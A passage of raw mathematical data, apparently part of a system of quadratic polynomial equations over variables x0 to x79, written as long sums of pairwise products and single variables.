x14*x29 + x14*x31 + x14*x32 + x14*x36 + x14*x39 + x14*x41 + x14*x42 + x14*x43 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x56 + x14*x57 + x14*x59 + x14*x60 + x14*x63 + x14*x70 + x14*x71 + x14*x74 + x14*x75 + x14*x77 + x14 + x15*x17 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x33 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x51 + x15*x55 + x15*x56 + x15*x58 + x15*x62 + x15*x63 + x15*x64 + x15*x69 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x16*x19 + x16*x21 + x16*x25 + x16*x27 + x16*x28 + x16*x33 + x16*x35 + x16*x38 + x16*x42 + x16*x43 + x16*x44 + x16*x48 + x16*x49 + x16*x52 + x16*x54 + x16*x55 + x16*x56 + x16*x59 + x16*x61 + x16*x64 + x16*x67 + x16*x68 + x16*x72 + x16*x75 + x16*x78 + x16 + x17*x19 + x17*x20 + x17*x24 + x17*x25 + x17*x27 + x17*x28 + x17*x30 + x17*x36 + x17*x37 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x49 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x63 + x17*x67 + x17*x68 + x17*x70 + x17*x71 + x17*x73 + x17*x74 + x17*x76 + x17*x79 + x17 + x18*x21 + x18*x25 + x18*x26 + x18*x28 + x18*x29 + x18*x34 + x18*x36 + x18*x37 + x18*x38 + x18*x42 + x18*x43 + x18*x47 + x18*x54 + x18*x55 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x63 + x18*x65 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x75 + x18*x76 + x18*x77 + x18 + x19*x20 + x19*x24 + x19*x25 + x19*x29 + x19*x32 + x19*x33 + x19*x35 + x19*x36 + x19*x38 + x19*x41 + x19*x42 + x19*x44 + x19*x45 + x19*x50 + x19*x51 + x19*x53 + x19*x56 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x71 + x19*x73 + x19*x75 + x19*x76 + x19*x79 + x19 + x20*x22 + x20*x26 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x34 + x20*x35 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x42 + x20*x43 + x20*x45 + x20*x48 + x20*x50 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x60 + x20*x62 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x74 + x20*x77 + x20*x78 + x20 + x21*x22 + x21*x23 + x21*x24 + x21*x26 + x21*x27 + x21*x28 + x21*x31 + x21*x33 + x21*x35 + x21*x36 + x21*x38 + x21*x40 + x21*x42 + x21*x43 + x21*x44 + x21*x47 + x21*x50 + x21*x53 + x21*x55 + x21*x56 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x66 + x21*x67 + x21*x73 + x21*x74 + x21 + x22*x23 + x22*x26 + x22*x27 + x22*x33 + x22*x37 + x22*x39 + x22*x41 + x22*x42 + x22*x44 + x22*x45 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x60 + x22*x63 + x22*x65 + x22*x73 + x22*x74 + x22*x76 + x22*x79 + x22 + x23*x26 + x23*x28 + x23*x30 + x23*x31 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x42 + x23*x46 + x23*x48 + x23*x49 + x23*x50 + x23*x51 + x23*x52 + x23*x54 + x23*x55 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x70 + x23*x71 + x23*x74 + x23*x77 + x23*x79 + x24*x26 + x24*x27 + x24*x29 + x24*x30 + x24*x32 + x24*x35 + x24*x36 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x43 + x24*x44 + x24*x46 + x24*x47 + x24*x51 + x24*x52 + x24*x55 + x24*x56 + x24*x57 + x24*x60 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x69 + x24*x72 + x24*x73 + x24*x75 + x24*x77 + x25*x29 + x25*x31 + x25*x33 + x25*x36 + x25*x37 + x25*x41 + x25*x44 + x25*x45 + x25*x48 + x25*x51 + x25*x56 + x25*x57 + x25*x59 + x25*x61 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x70 + x25*x71 + x25*x72 + x25*x73 + x25*x74 + x25*x76 + x25*x77 + x25*x78 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x32 + x26*x37 + x26*x38 + x26*x39 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x51 + x26*x52 + x26*x55 + x26*x59 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x69 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x31 + x27*x34 + x27*x35 + x27*x39 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x47 + x27*x50 + x27*x52 + x27*x53 + x27*x56 + x27*x57 + x27*x59 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x74 + x27*x78 + x27 + x28*x31 + x28*x33 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x41 + x28*x42 + x28*x45 + x28*x46 + x28*x48 + x28*x49 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x58 + x28*x59 + x28*x62 + x28*x64 + x28*x65 + x28*x66 + x28*x68 + x28*x72 + x28*x74 + x28*x76 + x28*x78 + x29*x30 + x29*x32 + x29*x33 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x44 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x55 + x29*x58 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x70 + x29*x73 + x29*x74 + x29*x77 + x30*x32 + x30*x33 + x30*x35 + x30*x39 + x30*x40 + x30*x43 + x30*x44 + x30*x49 + x30*x57 + x30*x59 + x30*x62 + x30*x65 + x30*x67 + x30*x70 + x30*x71 + x30*x74 + x30*x76 + x30*x77 + x30*x78 + x30 + x31*x32 + x31*x35 + x31*x36 + x31*x37 + x31*x39 + x31*x41 + x31*x42 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x53 + x31*x57 + x31*x62 + x31*x63 + x31*x64 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x74 + x31*x75 + x31*x79 + x31 + x32*x37 + x32*x43 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x51 + x32*x52 + x32*x55 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x64 + x32*x66 + x32*x71 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x42 + x33*x43 + x33*x45 + x33*x50 + x33*x55 + x33*x56 + x33*x57 + x33*x60 + x33*x62 + x33*x64 + x33*x66 + x33*x68 + x33*x71 + x33*x72 + x33*x76 + x33*x78 + x33 + x34*x37 + x34*x39 + x34*x41 + x34*x42 + x34*x45 + x34*x47 + x34*x48 + x34*x50 + x34*x55 + x34*x58 + x34*x60 + x34*x61 + x34*x64 + x34*x65 + x34*x69 + x34*x71 + x34*x75 + x34*x78 + x34 + x35*x36 + x35*x37 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x46 + x35*x50 + x35*x53 + x35*x54 + x35*x56 + x35*x59 + x35*x63 + x35*x65 + x35*x67 + x35*x71 + x35*x73 + x35*x75 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x45 + x36*x46 + x36*x47 + x36*x52 + x36*x55 + x36*x57 + x36*x60 + x36*x61 + x36*x63 + x36*x64 + x36*x68 + x36*x72 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x43 + x37*x45 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x67 + x37*x69 + x37*x74 + x37*x75 + x37*x77 + x37*x78 + x37*x79 + x38*x39 + x38*x41 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x48 + x38*x49 + x38*x55 + x38*x56 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x65 + x38*x67 + x38*x70 + x38*x75 + x38*x76 + x38*x77 + x38 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x51 + x39*x55 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x65 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x75 + x39*x77 + x40*x41 + x40*x43 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x59 + x40*x61 + x40*x62 + x40*x66 + x40*x71 + x40*x74 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x49 + x41*x50 + x41*x51 + x41*x54 + x41*x57 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x68 + x41*x69 + x41*x71 + x41*x72 + x41*x73 + x41*x74 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x47 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x60 + x42*x61 + x42*x64 + x42*x67 + x42*x70 + x42*x75 + x42*x76 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x46 + x43*x47 + x43*x49 + x43*x51 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x60 + x43*x61 + x43*x64 + x43*x65 + x43*x69 + x43*x71 + x43*x72 + x43*x74 + x43*x78 + x43*x79 + x44*x47 + x44*x49 + x44*x50 + x44*x51 + x44*x58 + x44*x61 + x44*x63 + x44*x65 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x78 + x44 + x45*x56 + x45*x58 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x68 + x45*x71 + x45*x72 + x45*x73 + x45*x75 + x45*x77 + x45*x79 + x46*x48 + x46*x49 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x58 + x46*x61 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x78 + x46*x79 + x46 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x54 + x47*x57 + x47*x59 + x47*x65 + x47*x68 + x47*x69 + x47*x71 + x47*x72 + x47*x73 + x47*x76 + x47*x79 + x48*x50 + x48*x51 + x48*x54 + x48*x57 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x75 + x48*x76 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x65 + x49*x66 + x49*x69 + x49*x74 + x49*x78 + x50*x51 + x50*x52 + x50*x54 + x50*x57 + x50*x59 + x50*x63 + x50*x65 + x50*x67 + x50*x68 + x50*x69 + x50*x70 + x50*x73 + x50*x74 + x50*x76 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x65 + x51*x66 + x51*x67 + x51*x69 + x51*x70 + x51*x71 + x51*x75 + x51*x78 + x51*x79 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x62 + x52*x63 + x52*x65 + x52*x68 + x52*x69 + x52*x70 + x52*x74 + x52*x76 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x58 + x53*x59 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x74 + x53*x75 + x53*x79 + x54*x58 + x54*x61 + x54*x62 + x54*x68 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x54 + x55*x56 + x55*x58 + x55*x59 + x55*x60 + x55*x64 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x76 + x55*x77 + x55 + x56*x62 + x56*x63 + x56*x65 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x76 + x56*x77 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x66 + x57*x67 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x79 + x58*x59 + x58*x60 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x76 + x58*x78 + x58*x79 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x66 + x59*x69 + x59*x71 + x59*x73 + x59*x74 + x59*x76 + x59*x77 + x59*x78 + x60*x62 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x71 + x60*x73 + x60*x75 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x69 + x61*x76 + x61 + x62*x64 + x62*x67 + x62*x68 + x62*x69 + x62*x71 + x62*x72 + x62*x75 + x62*x76 + x63*x65 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63*x77 + x63*x79 + x64*x66 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x75 + x64*x76 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x73 + x65*x76 + x65*x77 + x65*x78 + x65*x79 + x66*x68 + x66*x71 + x66*x72 + x66*x73 + x66*x76 + x67*x70 + x67*x71 + x67*x76 + x67*x78 + x67 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x76 + x68*x77 + x68*x79 + x69*x71 + x69*x73 + x69*x75 + x69*x78 + x69 + x70*x71 + x70*x74 + x70*x75 + x70*x76 + x70*x79 + x70 + x71*x72 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x72*x74 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x74 + x73 + x74*x77 + x75*x77 + x75*x79 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79, x0*x1 + x0*x2 + x0*x5 + x0*x11 + x0*x13 + x0*x14 + x0*x15 + x0*x18 + x0*x20 + x0*x22 + x0*x25 + x0*x28 + x0*x31 + x0*x34 + x0*x35 + x0*x36 + x0*x41 + x0*x42 + x0*x43 + x0*x44 + x0*x45 + x0*x49 + x0*x50 + x0*x53 + x0*x57 + x0*x59 + x0*x61 + x0*x64 + x0*x65 + x0*x67 + x0*x70 + x0*x79 + x0 + x1*x2 + x1*x7 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x21 + x1*x23 + x1*x26 + x1*x28 + x1*x31 + x1*x33 + x1*x34 + x1*x36 + x1*x39 + x1*x43 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x50 + x1*x54 + x1*x57 + x1*x58 + x1*x62 + x1*x63 + x1*x68 + x1*x69 + x1*x71 + x1*x73 + x1*x74 + x1*x77 + x1*x79 + x2*x4 + x2*x5 + x2*x8 + x2*x11 + x2*x12 + x2*x15 + x2*x16 + x2*x18 + x2*x20 + x2*x21 + x2*x23 + x2*x25 + x2*x27 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x34 + x2*x36 + x2*x37 + x2*x38 + x2*x40 + x2*x41 + x2*x44 + x2*x45 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x61 + x2*x62 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x3*x4 + x3*x7 + x3*x10 + x3*x14 + x3*x16 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x31 + x3*x33 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x42 + x3*x44 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x55 + x3*x58 + x3*x59 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x67 + x3*x68 + x3*x69 + x3*x71 + x3*x72 + x3*x78 + x3*x79 + x3 + x4*x6 + x4*x9 + x4*x12 + x4*x13 + x4*x14 + x4*x15 + x4*x20 + x4*x22 + x4*x23 + x4*x25 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x43 + x4*x46 + x4*x47 + x4*x49 + x4*x53 + x4*x54 + x4*x56 + x4*x58 + x4*x60 + x4*x62 + x4*x65 + x4*x69 + x4*x71 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4 + x5*x6 + x5*x14 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x26 + x5*x27 + x5*x31 + x5*x33 + x5*x34 + x5*x37 + x5*x38 + x5*x41 + x5*x44 + x5*x45 + x5*x52 + x5*x56 + x5*x58 + x5*x60 + x5*x63 + x5*x69 + x5*x70 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5 + x6*x8 + x6*x12 + x6*x15 + x6*x17 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x41 + x6*x43 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x56 + x6*x58 + x6*x61 + x6*x63 + x6*x65 + x6*x67 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x11 + x7*x12 + x7*x15 + x7*x17 + x7*x19 + x7*x20 + x7*x22 + x7*x24 + x7*x28 + x7*x31 + x7*x32 + x7*x33 + x7*x41 + x7*x42 + x7*x43 + x7*x45 + x7*x46 + x7*x47 + x7*x49 + x7*x52 + x7*x55 + x7*x58 + x7*x61 + x7*x64 + x7*x66 + x7*x70 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x8*x10 + x8*x11 + x8*x12 + x8*x17 + x8*x18 + x8*x22 + x8*x23 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x35 + x8*x37 + x8*x39 + x8*x40 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x50 + x8*x51 + x8*x53 + x8*x54 + x8*x56 + x8*x57 + x8*x60 + x8*x61 + x8*x62 + x8*x66 + x8*x67 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x78 + x8 + x9*x11 + x9*x14 + x9*x15 + x9*x17 + x9*x19 + x9*x23 + x9*x25 + x9*x27 + x9*x29 + x9*x31 + x9*x32 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x39 + x9*x40 + x9*x41 + x9*x52 + x9*x56 + x9*x58 + x9*x59 + x9*x61 + x9*x63 + x9*x68 + x9*x69 + x9*x71 + x9*x73 + x9*x77 + x9*x79 + x10*x14 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x23 + x10*x26 + x10*x29 + x10*x32 + x10*x33 + x10*x36 + x10*x37 + x10*x41 + x10*x44 + x10*x47 + x10*x48 + x10*x53 + x10*x55 + x10*x58 + x10*x61 + x10*x66 + x10*x69 + x10*x70 + x10*x75 + x10*x77 + x10 + x11*x14 + x11*x15 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x29 + x11*x38 + x11*x41 + x11*x43 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x57 + x11*x60 + x11*x62 + x11*x63 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x79 + x12*x13 + x12*x15 + x12*x16 + x12*x18 + x12*x22 + x12*x24 + x12*x27 + x12*x29 + x12*x30 + x12*x31 + x12*x33 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x46 + x12*x48 + x12*x53 + x12*x55 + x12*x56 + x12*x57 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x69 + x12*x73 + x12*x75 + x12*x76 + x12*x77 + x12 + x13*x17 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x28 + x13*x30 + x13*x34 + x13*x36 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x68 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x75 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x23 + x14*x25 + x14*x27 + x14*x34 + x14*x35 + x14*x36 + x14*x38 + x14*x40 + x14*x42 + x14*x45 + x14*x46 + x14*x47 + x14*x49 + x14*x52 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x68 + x14*x70 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x18 + x15*x19 + x15*x21 + x15*x22 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x34 + x15*x35 + x15*x36 + x15*x41 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x52 + x15*x55 + x15*x58 + x15*x59 + x15*x61 + x15*x63 + x15*x64 + x15*x71 + x15*x72 + x15*x77 + x15*x78 + x15*x79 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x26 + x16*x28 + x16*x32 + x16*x33 + x16*x37 + x16*x40 + x16*x43 + x16*x47 + x16*x50 + x16*x53 + x16*x57 + x16*x58 + x16*x61 + x16*x65 + x16*x66 + x16*x69 + x16*x70 + x16*x73 + x16*x74 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x26 + x17*x28 + x17*x30 + x17*x31 + x17*x34 + x17*x35 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x48 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x57 + x17*x59 + x17*x61 + x17*x63 + x17*x64 + x17*x66 + x17*x67 + x17*x70 + x17*x71 + x17*x75 + x18*x21 + x18*x23 + x18*x24 + x18*x26 + x18*x27 + x18*x30 + x18*x33 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x43 + x18*x44 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x53 + x18*x54 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x68 + x18*x69 + x18*x77 + x18*x79 + x19*x20 + x19*x21 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x30 + x19*x31 + x19*x33 + x19*x34 + x19*x35 + x19*x37 + x19*x38 + x19*x40 + x19*x42 + x19*x43 + x19*x47 + x19*x55 + x19*x56 + x19*x61 + x19*x63 + x19*x65 + x19*x74 + x19*x75 + x19*x76 + x19*x78 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x32 + x20*x33 + x20*x35 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x49 + x20*x50 + x20*x54 + x20*x56 + x20*x58 + x20*x62 + x20*x63 + x20*x64 + x20*x69 + x20*x70 + x20*x72 + x20*x78 + x20*x79 + x20 + x21*x23 + x21*x25 + x21*x26 + x21*x27 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x42 + x21*x46 + x21*x48 + x21*x49 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x65 + x21*x68 + x21*x70 + x21*x74 + x21*x77 + x21*x78 + x22*x23 + x22*x25 + x22*x26 + x22*x28 + x22*x31 + x22*x40 + x22*x41 + x22*x43 + x22*x45 + x22*x46 + x22*x48 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x65 + x22*x66 + x22*x69 + x22*x71 + x22*x72 + x22*x74 + x22*x75 + x22*x78 + x23*x24 + x23*x25 + x23*x28 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x37 + x23*x38 + x23*x39 + x23*x44 + x23*x46 + x23*x49 + x23*x50 + x23*x52 + x23*x54 + x23*x55 + x23*x56 + x23*x58 + x23*x59 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x79 + x24*x25 + x24*x26 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x40 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x64 + x24*x66 + x24*x68 + x24*x69 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x39 + x25*x41 + x25*x47 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x58 + x25*x63 + x25*x67 + x25*x71 + x25*x76 + x25*x78 + x25*x79 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x37 + x26*x40 + x26*x42 + x26*x43 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x50 + x26*x52 + x26*x53 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x64 + x26*x66 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x79 + x26 + x27*x30 + x27*x31 + x27*x33 + x27*x39 + x27*x41 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x62 + x27*x67 + x27*x68 + x27*x69 + x27*x73 + x27*x75 + x27*x77 + x28*x29 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x50 + x28*x51 + x28*x52 + x28*x55 + x28*x60 + x28*x62 + x28*x64 + x28*x65 + x28*x68 + x28*x70 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x28 + x29*x32 + x29*x33 + x29*x36 + x29*x40 + x29*x41 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x48 + x29*x49 + x29*x52 + x29*x54 + x29*x55 + x29*x56 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x72 + x29*x74 + x29*x76 + x29*x77 + x29*x79 + x29 + x30*x32 + x30*x35 + x30*x36 + x30*x37 + x30*x39 + x30*x40 + x30*x41 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x52 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x67 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x77 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x41 + x31*x44 + x31*x46 + x31*x49 + x31*x51 + x31*x54 + x31*x55 + x31*x59 + x31*x63 + x31*x65 + x31*x66 + x31*x69 + x31*x70 + x31*x71 + x31*x74 + x31*x79 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x39 + x32*x42 + x32*x48 + x32*x49 + x32*x51 + x32*x53 + x32*x54 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x65 + x32*x66 + x32*x68 + x32*x69 + x32*x70 + x32*x73 + x32*x76 + x32*x78 + x32*x79 + x33*x35 + x33*x38 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x51 + x33*x52 + x33*x53 + x33*x57 + x33*x60 + x33*x61 + x33*x64 + x33*x65 + x33*x67 + x33*x68 + x33*x71 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x33 + x34*x35 + x34*x40 + x34*x49 + x34*x50 + x34*x52 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x65 